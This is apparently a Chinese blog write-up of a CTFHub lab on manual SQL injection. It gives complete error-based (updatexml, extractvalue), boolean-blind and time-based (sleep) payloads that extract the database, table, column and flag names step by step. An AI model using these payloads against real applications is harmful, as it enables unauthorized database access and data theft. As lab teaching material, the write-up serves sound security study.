当前位置:网站首页>SQL手工盲注、报错注入
SQL手工盲注、报错注入
2022-07-26 01:54:00 【_abcdef】
文章目录
报错注入

猜字段长度
3报错
2不报错,说么该表内有两个字段
updatexml报错注入
通过updatexml()函数进行注入
updatexml()则负责修改查询到的内容
UPDATEXML (XML_document, XPath_string, new_value);
- 第一个参数:XML_document是String格式,为XML文档对象的名称,XML的内容。
- 第二个参数:XPath_string (Xpath格式的字符串) ,是需要update的位置XPATH路径。
- 第三个参数:new_value,String格式,更新后的内容
其中:1,3占位,为满足updatexml函数格式,concat函数连接后面的参数,0x21为十六进制!,database函数为读取当前表所在的库名。
?id=1 union select updatexml(1,concat(0x21,(select database()),0x21),3)

通过视图取sqli库下的表名
?id=1 union select updatexml(1,concat(0x21,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x21),3)

通过数据库名,表名,查flag表中的值
?id=1 union select updatexml(1,concat(0x21,(select * from sqli.flag),0x21),3)

extractvalue报错注入
通过extractvalue函数来进行保存注入
格式:EXTRACTVALUE (XML_document, XPath_string);
构造注入读取当前数据库名
然后通过sql视图取sqli库下的表名
?id='1' union select extractvalue(1,concat(0x21,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x21))
最后通过读取到的库名表名,读取值
?id='1' union select extractvalue(1,concat(0x21,(select * from sqli.flag),0x21))
布尔注入
猜数据库长度及名字
通过length函数读取当前数据库长度
长度 4
?id=1 and (select length(database())=4)

使用ascii通过二分法猜解数据库名称
大于ascii 100 为true
?id=1 and ((select ascii(substr(database(),1,1)))>100)

小于120为true,小于110为false
?id=1 and ((select ascii(substr(database(),1,1)))<120)

最后通过尝试,得到115,对应asscii码为s
?id=1 and ((select ascii(substr(database(),1,1)))=115)

依次得到库名 sqli
?id=1 and ((select ascii(substr(database(),2,1)))=113) #q
?id=1 and ((select ascii(substr(database(),3,1)))=108) #l
?id=1 and ((select ascii(substr(database(),4,1)))=105) #i
猜列表名数量及表名
数量
猜列表数量 = 2 表示当前库下有两个列表
?id=1 and ((select count(table_name) from information_schema.tables where table_schema=database())=2)

列表名字的长度
猜当前列名长度,得出4
第二个表,表名的长度也为 4
?id=1 and (select length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4)
?id=1 and (select length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=4) # 第二个表,表名的长度也为 4

猜表名字
猜列表名第一个字符为f
?id=1 and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102)

第二个字符为108 对应 l
第三个字符为97 对应 a
第四个字符为103 对应 g
根据长度4,最后得到表名为 flag
?id=1 and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=108) # 对应 l
?id=1 and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=97) # 对应 a
?id=1 and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=103) # 对应 g
第二个表:
news
?id=1 and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=110) # n
?id=1 and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101) # e
?id=1 and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))=119) # w
?id=1 and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))=115) # s
整理信息与逻辑
- 数据库:当前库库名长度为4,库名为sqli
- 列表:列表数量为2,列表名长度都为4,其中一个列表名为flag,另一个为news
猜解列表中的字段数量
?id=1 and ((select count(column_name) from information_schema.columns where table_name='flag')=0)

猜字段长度与字段名
长度
猜解字段长度,4表示flag这个列表中第一个字段的长度为4
?id=1 and (select length(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1))=4)

flag表的第一个字段名为flag
?id=1 and (select ascii(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1,1))=102) # f
?id=1 and (select ascii(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),2,1))=108) # l
?id=1 and (select ascii(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),3,1))=97) # a
?id=1 and (select ascii(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),4,1))=103) # g
整理信息与逻辑
- 数据库:当前库库名长度为4,库名为sqli
- 列表:列表数量为2,列表名长度都为4,其中一个列表名为flag,另一个为news
- flag表有一个字段名,字段名也为flag
字段值
第一个字符为 c
?id=1 and (select ascii(substr((select flag from flag limit 0,1),1,1))=99) # c
?id=1 and (select ascii(substr((select flag from flag limit 0,1),2,1))=116) # t
?id=1 and (select ascii(substr((select flag from flag limit 0,1),3,1))=102) # f
?id=1 and (select ascii(substr((select flag from flag limit 0,1),4,1))=104) # h
等等.......

总结
熟悉相关函数
ascii(str):str是一个字符串参数,返回值为其最左侧字符的ascii码。通过它,我们才能确定特定的字符。
substr(str,start,len):这个函数是取str中从下标start开始的,长度为len的字符串。通常在盲注中用于取出单个字符,交给ascii函数来确定其具体的值。
length(str):这个函数是用来获取str的长度的。这样我们才能知道需要通过substr取到哪个下标。
count([column]):这个函数大家应该很熟,用来统计记录的数量的,其在盲注中,主要用于判断符合条件的记录的数量,并逐个破解。
limit m,n:其中m是指记录开始的index,从0开始,表示第一条记录n是指从第m+1条开始,取n条
手工布尔盲注流程
- 猜当前数据库长度,然后数据库名。
- 猜当前数据库下的列表数量,长度,列表名。
- 猜有用列表的字段名长度,字段名。
- 通过数据库名,列表名,字段名搜数据。
时间盲注
猜数据库长度及名字
观察浏览器,排除网络原因,如果秒刷新,说么猜对了,如果浏览器一直在加载,说么执行了sleep函数,延时了5秒。
得到当前数据库名的长度为4
?id=1 and if (length(database())=4,1,sleep(5))


猜解得到当前数据库名为sqli
?id=1 and if (ascii(substr(database(),1,1))=115,sleep(3),1) # s
?id=1 and if (ascii(substr(database(),2,1))=113,sleep(3),1) # q
?id=1 and if (ascii(substr(database(),3,1))=108,sleep(3),1) # l
?id=1 and if (ascii(substr(database(),4,1))=105,sleep(3),1) # i
猜列表名数量及表名
列表数量
猜解得到sqli库下有两个表
?id=1 and if(((select count(table_name) from information_schema.tables where table_schema=database())=2),sleep(4),0);

列表名长度
猜到第一个第二个表长度均为4
?id=1 and if((select length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4),sleep(5),0) # 第一个表长度
?id=1 and if((select length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=4),sleep(5),0) # 第二个表长度
列表名
得到列表名 flag
?id=1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102),sleep(5),0) # 对应 f
?id=1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=108),sleep(5),0) # 对应 l
?id=1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=97),sleep(5),0) # 对应 a
?id=1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=103),sleep(5),0) # 对应 g
第二个表名 news
?id=1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=110),sleep(5),0) # n
?id=1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101),sleep(5),0) # e
?id=1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))=119),sleep(5),0) # w
?id=1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))=115),sleep(5),0) # s
猜列表中的字段数量
字段数量
flag列表只有一个字段,而news列表有3个字段
?id=1 and if(((select count(column_name) from information_schema.columns where table_name='flag')=1),sleep(5),0)
?id=1 and if(((select count(column_name) from information_schema.columns where table_name='news')=3),sleep(5),0)

猜字段名长度与字段名
长度为 4
?id=1 and if((select length(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1))=4),sleep(5),1)
字段名 flag
?id=1 and if((select ascii(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1,1))=102),sleep(5),1) # f
?id=1 and if((select ascii(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),2,1))=108),sleep(5),1) # l
?id=1 and if((select ascii(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),3,1))=97),sleep(5),1) # a
?id=1 and if((select ascii(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),4,1))=103),sleep(5),1) # g
字段值
?id=1 and if((select ascii(substr((select flag from flag limit 0,1),1,1))=116),sleep(5),1) # t
?id=1 and if((select ascii(substr((select flag from flag limit 0,1),2,1))=101),sleep(5),1) # e
?id=1 and if((select ascii(substr((select flag from flag limit 0,1),3,1))=115),sleep(5),1) # s
......
验证
总结
- 熟悉三目运算,整体注入跟布尔注入类型,注意观察浏览器相应延时,使用二分法。
源码
ctfhub-sql注入源码
边栏推荐
- Travel (split points and layers)
- Pt onnx ncnn conversion problem record (followed by yolov5 training)
- BGP知识点总结
- leetcode/只出现一次的数字
- MPLS知识点
- opengauss如何手工安装(非OM方式)
- Republishing foundation and configuration
- The e-commerce project is written in the resume. How to answer it during the interview
- y77.第四章 Prometheus大厂监控体系及实战 -- prometheus的服务发现机制(八)
- Typora expiration solution, what if typora can't open
猜你喜欢

There is no setter method in grpc list under flutter. How to use related attributes

Navica工具把远程MySQL导入到本地MySQL数据库

Codisvsrediscluster: which cluster scheme should I choose?

SVN version control branch and merge function use

CPU的三种模式

Image batch processing Gaussian filter noise reduction + peak signal-to-noise ratio calculation

D. Rating compression (thinking + double pointer)

P3166 number triangle (tolerance and exclusion +gcd)

Protect syslog servers and devices

The SQL script generated by powerdispatcher model runs incorrectly
随机推荐
E. OpenStreetMap (2D monotone queue)
G2. passable paths (hard version) (tree diameter + LCA)
Zhinai buys melons (DP backpack)
登堂入室soc之arm汇编基础
The work of robot engineering and the puzzle of postgraduate entrance examination "volume" supplement
HTC手机官解、S-ON/S-OFF与超级CID的关系
阿里云Redis开发规范
Big view +500 cases, software teams should improve R & D efficiency in this way
Speech comprehension - structural analysis exercise of fragment reading
达梦数据库表导入导出按钮灰色,导入不了dmp文件
Alibaba cloud redis development specification
[tips] what if you type with double quotation marks on the keyboard and the quotation marks disappear
Pt onnx ncnn conversion problem record (followed by yolov5 training)
网络之二三层转发
IDEA如何快速删除最近打开的项目
"Weilai Cup" 2022 Niuke summer multi school training camp 2 i.[let fat tension] matrix multiplication j.[link with arithmetic progression] linear regression
Recommend a super good UI automation tool: uiautomator2!
Implementation of recommendation system collaborative filtering in spark
ABC find 4-cycle (pigeon nest theorem)
Redis集群搭建(基于6.x)